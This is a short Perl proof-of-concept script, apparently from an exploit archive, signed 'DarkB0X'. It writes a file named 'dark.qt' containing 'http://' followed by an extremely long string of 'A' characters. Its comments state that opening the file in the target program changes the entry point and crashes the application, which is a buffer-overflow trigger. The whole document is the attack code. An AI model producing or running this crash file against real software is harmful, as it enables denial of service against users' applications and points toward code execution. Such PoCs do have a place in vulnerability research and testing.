#!/usr/bin/perl -w=0D
#By DarkB0X=0D
#HomePage : http://NullArea.Net=0D 
#contact : darkb0x97@googlemail.com=0D 
#after loading the file click on it in the program=0D
#entry point will change and the app will crash=0D
=0D
=0D
my $file = "dark.qt" ;=0D
my $poc="http://"."A" x 0265487 ;=0D 
open(b0x, ">>$file") or die "Cannot open $file";=0D
print b0x $poc;=0D
close(b0x);=0D
print "\n[+] done ! , $file created";